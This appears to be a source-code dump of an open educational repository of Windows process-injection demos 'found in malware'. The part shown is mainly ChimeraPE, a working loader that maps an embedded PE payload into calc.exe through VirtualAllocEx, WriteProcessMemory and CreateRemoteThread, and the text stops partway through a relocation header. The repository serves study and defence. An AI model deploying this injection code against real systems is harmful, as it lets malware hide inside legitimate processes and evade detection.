├── .appveyor.yml
├── CMakeLists.txt
├── LICENSE
├── README.md
├── chimera_pe
├── README.md
└── src
│ ├── CMakeLists.txt
│ ├── createproc.h
│ ├── demo.bin
│ ├── enumproc.h
│ ├── inject_pe.h
│ ├── load_imports.h
│ ├── main.cpp
│ ├── ntddk.h
│ ├── ntdll_undoc.h
│ ├── pe_hdrs_helper.cpp
│ ├── pe_hdrs_helper.h
│ ├── pe_raw_to_virtual.h
│ ├── relocate.h
│ ├── resource.h
│ ├── resource.rc
│ ├── run.bat
│ ├── sysutil.cpp
│ ├── sysutil.h
│ └── target_util.h
├── chimera_pe_payload_template
├── README.md
└── src
│ ├── CMakeLists.txt
│ ├── main.cpp
│ ├── ntddk.h
│ ├── reflective
│ ├── pe_hdrs_helper.cpp
│ ├── pe_hdrs_helper.h
│ └── reflective_imports_load.h
│ ├── start_actions.cpp
│ ├── start_actions.h
│ └── test.h
├── dll_injection
├── README.md
└── src
│ ├── CMakeLists.txt
│ ├── createproc.h
│ ├── demo.bin
│ ├── enumproc.h
│ ├── inject_with_loadlibrary.h
│ ├── main.cpp
│ ├── map_buffer_into_process.h
│ ├── ntddk.h
│ ├── resource.h
│ ├── resource.rc
│ ├── run.bat
│ ├── sysutil.cpp
│ ├── sysutil.h
│ └── target_util.h
├── functions_loader
├── README.md
└── src
│ ├── CMakeLists.txt
│ ├── exports_lookup.h
│ ├── main.cpp
│ ├── ntddk.h
│ ├── pe_hdrs_helper.cpp
│ ├── pe_hdrs_helper.h
│ ├── peb_lookup.h
│ ├── test.h
│ └── usage_demo.h
├── inject_shellcode
├── README.md
└── src
│ ├── CMakeLists.txt
│ ├── add_apc.h
│ ├── add_thread.h
│ ├── createproc.h
│ ├── enumproc.h
│ ├── kernel32_undoc.h
│ ├── main.cpp
│ ├── main.h
│ ├── map_buffer_into_process.h
│ ├── ntddk.h
│ ├── ntdll_undoc.h
│ ├── patch_context.h
│ ├── patch_ep.h
│ ├── payload.h
│ ├── pe_hdrs_helper.cpp
│ ├── pe_hdrs_helper.h
│ ├── sysutil.cpp
│ ├── sysutil.h
│ ├── target_util.h
│ ├── util.h
│ ├── window_long_inject.cpp
│ └── window_long_inject.h
└── run_pe
├── README.md
└── src
├── CMakeLists.txt
├── createproc.h
├── demo.bin
├── main.cpp
├── ntddk.h
├── ntdll_undoc.h
├── pe_hdrs_helper.cpp
├── pe_hdrs_helper.h
├── pe_raw_to_virtual.h
├── relocate.h
├── resource.h
├── resource.rc
├── run.bat
├── runpe.h
├── sysutil.cpp
├── sysutil.h
└── target_util.h
/.appveyor.yml:
--------------------------------------------------------------------------------
1 | os:
2 | - Visual Studio 2015
3 |
4 | platform: x64
5 | - x64
6 |
7 | branches:
8 | only:
9 | - master
10 |
11 | install:
12 | - git submodule update --init --recursive
13 | - set PATH=C:\Program Files\CMake\bin;%PATH%
14 |
15 | build:
16 | verbosity: detailed
17 |
18 | configuration:
19 | - Release
20 | - Debug
21 |
22 | environment:
23 | artifactName: $(APPVEYOR_PROJECT_NAME)-$(APPVEYOR_REPO_COMMIT)-$(CONFIGURATION)
24 |
25 | before_build:
26 | - mkdir build
27 | - cd build
28 | - cmake -DCMAKE_INSTALL_PREFIX:PATH=%APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT% ..
29 |
30 | build_script:
31 | - cmake --build . --config %CONFIGURATION% --target install
32 |
33 | after_build:
34 | - mkdir %artifactName%
35 | - cp %APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT%/* %artifactName%
36 |
37 | artifacts:
38 | - path: build\%artifactName%
39 |
40 |
--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (injection_demos)
3 |
4 | # modules:
5 | set ( M_CHIMERA_LOADER "chimera_pe" )
6 | set ( M_CHIMERA_PAYLOAD "chimera_pe_payload_template" )
7 | set ( M_DLL_INJ "dll_injection" )
8 | set ( M_FUNC_LOADER "functions_loader" )
9 | set ( M_INJ_SHELC "inject_shellcode" )
10 | set ( M_RUNPE "run_pe" )
11 |
12 | # Add sub-directories
13 | #
14 | add_subdirectory( ${M_CHIMERA_LOADER}/src )
15 | add_subdirectory( ${M_CHIMERA_PAYLOAD}/src )
16 |
17 | add_subdirectory( ${M_DLL_INJ}/src )
18 | add_subdirectory( ${M_FUNC_LOADER}/src )
19 | add_subdirectory( ${M_INJ_SHELC}/src )
20 | add_subdirectory( ${M_RUNPE}/src )
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 2-Clause License
2 |
3 | Copyright (c) 2017, @hasherezade
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
26 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # demos
2 |
3 | [](https://ci.appveyor.com/project/hasherezade/demos)
4 | [](https://opensource.org/licenses/BSD-2-Clause)
5 |
6 | Demos of various injection techniques found in malware.
7 |
8 | To compile it, use Visual Studio and CMake: http://www.cmake.org/
9 | WARNING:
10 | Presented versions of the techniques are dedicated to 32-bit targets. They can be compiled also on Windows 64-bit, but the recommended system is Windows 32-bit.
11 |
12 |
--------------------------------------------------------------------------------
/chimera_pe/README.md:
--------------------------------------------------------------------------------
1 | # chimera_pe
2 | ChimeraPE demo: maps another executable into the target process and runs both.
3 | This is an alternative method to the classic RunPE (process hollowing) - can be used in case if we want to run the original exe also.
4 | See also a template for a payload, that can be injected using this techique:
5 | https://github.com/hasherezade/demos/tree/master/chimera_pe_payload_template
6 |
7 |
8 | WARNING: This is a 32-bit version for demo purpose. See the extended version here:
9 | https://github.com/hasherezade/chimera_pe
10 |
11 |
--------------------------------------------------------------------------------
/chimera_pe/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (ChimeraPE)
3 |
4 | add_definitions(-DUNICODE -D_UNICODE)
5 |
6 | set (srcs
7 | main.cpp
8 | pe_hdrs_helper.cpp
9 | sysutil.cpp
10 | )
11 |
12 | set (hdrs
13 | resource.h
14 | ntddk.h
15 | ntdll_undoc.h
16 | target_util.h
17 | enumproc.h
18 | createproc.h
19 | pe_hdrs_helper.h
20 | pe_raw_to_virtual.h
21 | load_imports.h
22 | relocate.h
23 | inject_pe.h
24 | sysutil.h
25 | )
26 |
27 | set (rsrc
28 | resource.rc
29 | )
30 |
31 | add_executable (ChimeraPE ${rsrc} ${hdrs} ${srcs})
32 |
33 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
34 |
--------------------------------------------------------------------------------
/chimera_pe/src/createproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi)
4 | {
5 | STARTUPINFO si;
6 | memset(&si, 0, sizeof(STARTUPINFO));
7 | si.cb = sizeof(STARTUPINFO);
8 |
9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
10 |
11 | if (!CreateProcess(
12 | NULL,
13 | path,
14 | NULL, //lpProcessAttributes
15 | NULL, //lpThreadAttributes
16 | FALSE, //bInheritHandles
17 | CREATE_SUSPENDED, //dwCreationFlags
18 | NULL, //lpEnvironment
19 | NULL, //lpCurrentDirectory
20 | &si, //lpStartupInfo
21 | &pi //lpProcessInformation
22 | ))
23 | {
24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
25 | return false;
26 | }
27 | return true;
28 | }
29 |
--------------------------------------------------------------------------------
/chimera_pe/src/demo.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/chimera_pe/src/demo.bin
--------------------------------------------------------------------------------
/chimera_pe/src/enumproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
5 | {
6 | HMODULE hMod;
7 | DWORD cbNeeded;
8 |
9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
11 | return true;
12 | }
13 | return false;
14 | }
15 |
16 | bool is_searched_process( DWORD processID, LPWSTR searchedName)
17 | {
18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
19 | if (hProcess == NULL) return false;
20 |
21 | WCHAR szProcessName[MAX_PATH];
22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
23 | if (wcsstr(szProcessName, searchedName) != NULL) {
24 | printf( "%S (PID: %u)\n", szProcessName, processID );
25 | CloseHandle(hProcess);
26 | return true;
27 | }
28 | }
29 | CloseHandle(hProcess);
30 | return false;
31 | }
32 |
33 | HANDLE find_running_process(LPWSTR searchedName)
34 | {
35 | DWORD aProcesses[1024], cbNeeded, cProcesses;
36 | unsigned int i;
37 |
38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
39 | return NULL;
40 | }
41 |
42 | //calculate how many process identifiers were returned.
43 | cProcesses = cbNeeded / sizeof(DWORD);
44 |
45 | //search handle to the process of defined name
46 | for ( i = 0; i < cProcesses; i++ ) {
47 | if( aProcesses[i] != 0 ) {
48 | if (is_searched_process(aProcesses[i], searchedName)) {
49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
50 | return hProcess;
51 | }
52 | }
53 | }
54 | return NULL;
55 | }
56 |
--------------------------------------------------------------------------------
/chimera_pe/src/inject_pe.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #include "ntdll_undoc.h"
7 | #include "createproc.h"
8 |
9 | #include "pe_raw_to_virtual.h"
10 | #include "relocate.h"
11 | #include "load_imports.h"
12 |
13 | bool run_injected_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr)
14 | {
15 | NTSTATUS status = NULL;
16 | //create a new thread for the injected code:
17 | LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;
18 |
19 | DWORD threadId = NULL;
20 | HANDLE hMyThread = NULL;
21 | if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {
22 | printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError());
23 | return false;
24 | }
25 | printf("Created Thread, id = %x\n", threadId);
26 | printf("Resuming added thread...\n");
27 | ResumeThread(hMyThread); //injected code
28 | return true;
29 | }
30 |
31 | /*
32 | inject_PE32:
33 | targetPath - application where we want to inject
34 | payload - buffer with raw image of PE that we want to inject
35 | payload_size - size of the above
36 | */
37 | bool inject_PE32(HANDLE hProcess, BYTE* payload, SIZE_T payload_size)
38 | {
39 | if (!load_ntdll_functions()) return false;
40 |
41 | //check payload:
42 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload);
43 | if (payload_nt_hdr == NULL) {
44 | printf("Invalid payload: %p\n", payload);
45 | return false;
46 | }
47 | SIZE_T written = 0;
48 | const ULONGLONG oldImageBase = payload_nt_hdr->OptionalHeader.ImageBase;
49 | DWORD payloadImageSize = payload_nt_hdr->OptionalHeader.SizeOfImage;
50 |
51 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
52 | if (remoteAddress == NULL) {
53 | printf("Could not allocate memory in the remote process\n");
54 | return false;
55 | }
56 | printf("Allocated remote ImageBase: %p size: %x\n", remoteAddress, payloadImageSize);
57 |
58 | //first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc.
59 | //when it will be ready, we will copy it into the space reserved in the target process
60 | LPVOID localCopyAddress = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);;
61 | if (localCopyAddress == NULL) {
62 | printf("Could not allocate memory in the current process\n");
63 | return false;
64 | }
65 | printf("Allocated local memory: %p size: %x\n", localCopyAddress, payloadImageSize);
66 |
67 | if (!copy_pe_to_virtual_l(payload, payload_size, localCopyAddress)) {
68 | printf("Could not copy PE file\n");
69 | return false;
70 | }
71 | printf("remoteAddress = %p\n", remoteAddress);
72 | //if the base address of the payload changed, we need to apply relocations:
73 | if ((ULONGLONG) remoteAddress != oldImageBase) {
74 | if (apply_relocations((ULONGLONG)remoteAddress, oldImageBase, localCopyAddress) == false) {
75 | printf("[ERROR] Could not relocate image!\n");
76 | return false;
77 | }
78 | }
79 |
80 | if (apply_imports(localCopyAddress) == false) {
81 | printf("[WARNING] Some imports cannot be resolved by loader!\n[!] Payload should resolve remaining imports, or the application will crash!\n");
82 | }
83 |
84 | // paste the local copy of the prepared image into the reserved space inside the remote process:
85 | if (!WriteProcessMemory(hProcess, remoteAddress, localCopyAddress, payloadImageSize, &written) || written != payloadImageSize) {
86 | printf("[ERROR] Could not paste the image into remote process!\n");
87 | return false;
88 | }
89 | //free the localy allocated copy
90 | VirtualFree(localCopyAddress, payloadImageSize, MEM_FREE);
91 |
92 | LPVOID newEP = (LPVOID)((ULONGLONG) remoteAddress + payload_nt_hdr->OptionalHeader.AddressOfEntryPoint);
93 | printf("newEP = %p\n", newEP);
94 | run_injected_in_new_thread(hProcess, newEP);
95 |
96 | return true;
97 | }
98 |
--------------------------------------------------------------------------------
/chimera_pe/src/load_imports.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 |
5 | #include "pe_hdrs_helper.h"
6 |
7 | // warning! most of the libraries are loaded at different bases in different processes
8 | // that's why, we cannot solve their handles by this way
9 | // kernel32.dll and ntdll.dll are some of the exceptions - plus, they are loaded by every process
10 | // that's why it is safe to solve it by external loader
11 | #define SUPPORTED_LIB_NAME "kernel32.dll"
12 | #define SUPPORTED_LIB_NAME2 "ntdll.dll"
13 |
14 | // user32.dll is also loaded at the same base, however, not every process will load it
15 | // if your payload needs it, and the target doesn't have it, it will crash!
16 | #define SUPPORTED_LIB_NAME3 "user32.dll"
17 | // if you want to include it add:
18 | // #define TARGET_HAS_USER32
19 |
20 | bool is_name(LPSTR lib_name, LPSTR supported_lib)
21 | {
22 | SIZE_T kernel_name_len = strlen(supported_lib);
23 |
24 | size_t lib_name_len = strlen(lib_name);
25 |
26 | for (size_t i = 0; i < kernel_name_len && i < lib_name_len; i++) {
27 | CHAR c = tolower(lib_name[i]);
28 | if (c != supported_lib[i]) return false;
29 | }
30 | return true;
31 | }
32 |
33 | bool is_supported(LPSTR lib_name)
34 | {
35 | if (is_name(lib_name, SUPPORTED_LIB_NAME)) {
36 | return true;
37 | }
38 | if (is_name(lib_name, SUPPORTED_LIB_NAME2)) {
39 | return true;
40 | }
41 | #ifdef TARGET_HAS_USER32
42 | if (is_name(lib_name, SUPPORTED_LIB_NAME3)) {
43 | return true;
44 | }
45 | #endif
46 | return false;
47 | }
48 |
49 | bool write_handle_b32(LPCSTR lib_name, DWORD call_via, LPSTR func_name, LPVOID modulePtr)
50 | {
51 | HMODULE hBase = LoadLibraryA(lib_name);
52 | if (hBase == NULL) return false;
53 |
54 | FARPROC hProc = GetProcAddress(hBase, func_name);
55 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via);
56 | memcpy(call_via_ptr, &hProc, sizeof(DWORD));
57 | printf("proc addr: %p -> %p\n", hProc, call_via_ptr);
58 | return true;
59 | }
60 |
61 | bool solve_imported_funcs_b32(LPCSTR lib_name, DWORD call_via, DWORD thunk_addr, LPVOID modulePtr)
62 | {
63 | do {
64 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via);
65 | if (call_via_ptr == NULL) break;
66 |
67 | LPVOID thunk_ptr = (LPVOID)((ULONGLONG)modulePtr + thunk_addr);
68 | if (thunk_ptr == NULL) break;
69 |
70 | DWORD *thunk_val = (DWORD*)thunk_ptr;
71 | DWORD *call_via_val = (DWORD*)call_via_ptr;
72 | if (*call_via_val == 0) {
73 | //nothing to fill, probably the last record
74 | return true;
75 | }
76 | //those two values are supposed to be the same before the file have imports filled
77 | //so, if they are different it means the handle is already filled
78 | if (*thunk_val == *call_via_val) {
79 | IMAGE_THUNK_DATA32* desc = (IMAGE_THUNK_DATA32*) thunk_ptr;
80 | if (desc->u1.Function == NULL) break;
81 |
82 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME) ((ULONGLONG) modulePtr + desc->u1.AddressOfData);
83 | if (desc->u1.Ordinal & IMAGE_ORDINAL_FLAG32) {
84 | printf("Imports by ordinals are not supported!\n");
85 | return false;
86 | }
87 | LPSTR func_name = by_name->Name;
88 | printf("name: %s\n", func_name);
89 | if (!write_handle_b32(lib_name, call_via, func_name, modulePtr)) {
90 | printf("Could not load the handle!\n");
91 | return false;
92 | }
93 | }
94 | call_via += sizeof(DWORD);
95 | thunk_addr += sizeof(DWORD);
96 | } while (true);
97 | return true;
98 | }
99 |
100 | //fills handles of mapped pe file
101 | bool apply_imports(PVOID modulePtr)
102 | {
103 | IMAGE_DATA_DIRECTORY *importsDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
104 | if (importsDir == NULL) return false;
105 |
106 | DWORD maxSize = importsDir->Size;
107 | DWORD impAddr = importsDir->VirtualAddress;
108 |
109 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
110 | bool isAllFilled = true;
111 | DWORD parsedSize = 0;
112 |
113 | printf("---IMP---\n");
114 | while (parsedSize < maxSize) {
115 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR) modulePtr);
116 | parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR);
117 |
118 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) {
119 | break;
120 | }
121 |
122 | printf("Imported Lib: %x : %x : %x\n", lib_desc->FirstThunk, lib_desc->OriginalFirstThunk, lib_desc->Name);
123 | LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name);
124 | printf("name: %s\n", lib_name);
125 | if (!is_supported(lib_name)) {
126 | isAllFilled = false;
127 | //skip libraries that cannot be filled
128 | continue;
129 | }
130 |
131 | DWORD call_via = lib_desc->FirstThunk;
132 | DWORD thunk_addr = lib_desc->OriginalFirstThunk;
133 | if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk;
134 |
135 | solve_imported_funcs_b32(lib_name, call_via, thunk_addr, modulePtr);
136 | }
137 | if (isAllFilled == false) {
138 | printf("WARNING: Some libraries are not filled!\nFor this method to work, EXE cannot have other imports than kernel32.dll or user32.dll!\n");
139 | }
140 | printf("---------\n");
141 | return isAllFilled;
142 | }
143 |
--------------------------------------------------------------------------------
/chimera_pe/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "resource.h"
5 | #include "inject_pe.h"
6 | #include "target_util.h"
7 | #include "enumproc.h"
8 | #include "sysutil.h"
9 |
10 | BYTE* get_raw_payload(OUT SIZE_T &res_size)
11 | {
12 | HMODULE hInstance = GetModuleHandle(NULL);
13 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA);
14 | if (!res) return NULL;
15 |
16 | HGLOBAL res_handle = LoadResource(NULL, res);
17 | if (res_handle == NULL) return NULL;
18 |
19 | BYTE* res_data = (BYTE*) LockResource(res_handle);
20 | res_size = SizeofResource(NULL, res);
21 |
22 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
23 | memcpy(out_buf, res_data, res_size);
24 |
25 | FreeResource(res_handle);
26 | return out_buf;
27 | }
28 |
29 | HANDLE make_new_process(HANDLE &mainThread)
30 | {
31 | WCHAR targetPath[MAX_PATH];
32 | if (!get_calc_path(targetPath, MAX_PATH)) {
33 | return NULL;
34 | }
35 | //create target process:
36 | PROCESS_INFORMATION pi;
37 | if (!create_new_process1(targetPath, pi)) return false;
38 | printf("PID: %d\n", pi.dwProcessId);
39 |
40 | //store the handle to the main thread, so that we can resume it later
41 | mainThread = pi.hThread;
42 | return pi.hProcess;
43 | }
44 |
45 | int main(int argc, char *argv[])
46 | {
47 | BYTE* res_data = NULL;
48 | SIZE_T res_size = 0;
49 |
50 | if ((res_data = get_raw_payload(res_size)) == NULL) {
51 | printf("Failed!\n");
52 | return -1;
53 | }
54 | if (!is_compiled_32b()) {
55 | printf("[ERROR] Not supported! Compile the loader as a 32 bit application!\n");
56 | system("pause");
57 | return (-1);
58 | }
59 | //we may inject into existing process
60 | HANDLE hProcess = find_running_process(L"calc.exe");
61 | HANDLE mainThread = NULL;
62 | if (!hProcess) {
63 | //or create a new one:
64 | hProcess = make_new_process(mainThread);
65 | }
66 | if (inject_PE32(hProcess, res_data, res_size)) {
67 | printf("Injected!\n");
68 | } else {
69 | printf("Injection failed\n");
70 | }
71 |
72 | //in case if the injection was to a new process
73 | //we may like to resume it's main thread
74 | if (mainThread) {
75 | ResumeThread(mainThread);
76 | }
77 | CloseHandle(hProcess);
78 | VirtualFree(res_data, res_size, MEM_FREE);
79 | system("pause");
80 | return 0;
81 | }
82 |
--------------------------------------------------------------------------------
/chimera_pe/src/ntdll_undoc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include "ntddk.h"
5 |
6 | //don't forget to load functions before use:
7 | //load_ntdll_functions();
8 |
9 | NTSTATUS (NTAPI *_NtUnmapViewOfSection) (
10 | IN HANDLE ProcessHandle,
11 | IN PVOID BaseAddress
12 | );
13 |
14 |
15 | BOOL load_ntdll_functions()
16 | {
17 | HMODULE hNtdll = GetModuleHandleA("ntdll");
18 | if (hNtdll == NULL) return FALSE;
19 |
20 | _NtUnmapViewOfSection = (NTSTATUS (NTAPI *) (HANDLE, PVOID)) GetProcAddress(hNtdll,"NtUnmapViewOfSection");
21 | if (_NtUnmapViewOfSection == NULL) return FALSE;
22 |
23 | return TRUE;
24 | }
25 |
--------------------------------------------------------------------------------
/chimera_pe/src/pe_hdrs_helper.cpp:
--------------------------------------------------------------------------------
1 | #include "pe_hdrs_helper.h"
2 |
3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
4 | {
5 | if (pe_buffer == NULL) return NULL;
6 |
7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
9 | return NULL;
10 | }
11 | const LONG kMaxOffset = 1024;
12 | LONG pe_offset = idh->e_lfanew;
13 | if (pe_offset > kMaxOffset) return NULL;
14 |
15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
16 | return inh;
17 | }
18 |
19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
20 | {
21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
22 |
23 | //fetch relocation table from current image:
24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
25 | if (nt_headers == NULL) return NULL;
26 |
27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
28 | if (peDir->VirtualAddress == NULL) {
29 | return NULL;
30 | }
31 | return peDir;
32 | }
33 |
--------------------------------------------------------------------------------
/chimera_pe/src/pe_hdrs_helper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);
6 |
--------------------------------------------------------------------------------
/chimera_pe/src/pe_raw_to_virtual.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #include "pe_hdrs_helper.h"
7 |
8 | // Map raw PE into virtual memory of remote process
9 | bool copy_pe_to_virtual_r(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress, HANDLE hProcess)
10 | {
11 | if (payload == NULL) return false;
12 |
13 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload);
14 | if (payload_nt_hdr == NULL) {
15 | printf("Invalid payload: %p\n", payload);
16 | return false;
17 | }
18 |
19 | SIZE_T written = 0;
20 |
21 | //copy payload's headers:
22 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders;
23 | if (!WriteProcessMemory(hProcess, baseAddress, payload, kHdrsSize, &written)) {
24 | return false;
25 | }
26 | if (written != kHdrsSize) return false;
27 |
28 | printf("Copied payload's headers to: %p\n", baseAddress);
29 |
30 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader);
31 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader;
32 |
33 | //copy all the sections, one by one:
34 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize);
35 |
36 | printf("Coping sections remotely:\n");
37 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) {
38 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i));
39 |
40 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress;
41 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData;
42 |
43 | if (!WriteProcessMemory(hProcess, section_place, section_raw_ptr, next_sec->SizeOfRawData, &written)) {
44 | return false;
45 | }
46 | if (written != next_sec->SizeOfRawData) return false;
47 | printf("[+] %s to: %p\n", next_sec->Name, section_place);
48 | }
49 | return true;
50 | }
51 |
52 | // Map raw PE into virtual memory of local process:
53 | bool copy_pe_to_virtual_l(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress)
54 | {
55 | if (payload == NULL) return false;
56 |
57 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload);
58 | if (payload_nt_hdr == NULL) {
59 | printf("Invalid payload: %p\n", payload);
60 | return false;
61 | }
62 | //copy payload's headers:
63 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders;
64 | memcpy(baseAddress, payload, kHdrsSize);
65 |
66 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader);
67 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader;
68 |
69 | //copy all the sections, one by one:
70 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize);
71 |
72 | printf("Coping sections locally:\n");
73 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) {
74 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i));
75 |
76 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress;
77 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData;
78 | memcpy(section_place, section_raw_ptr, next_sec->SizeOfRawData);
79 | printf("[+] %s to: %p\n", next_sec->Name, section_place);
80 | }
81 | return true;
82 | }
83 |
--------------------------------------------------------------------------------
/chimera_pe/src/relocate.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include "pe_hdrs_helper.h"
5 |
6 | #define RELOC_32BIT_FIELD 3
7 |
8 | typedef struct _BASE_RELOCATION_ENTRY {
9 | WORD Offset : 12;
10 | WORD Type: 4;
11 | } BASE_RELOCATION_ENTRY;
12 |
13 | bool has_relocations(BYTE *pe_buffer)
14 | {
15 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC);
16 | if (relocDir == NULL) {
17 | return false;
18 | }
19 | return true;
20 | }
21 |
22 | bool apply_reloc_block32(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, ULONGLONG newBase, PVOID modulePtr)
23 | {
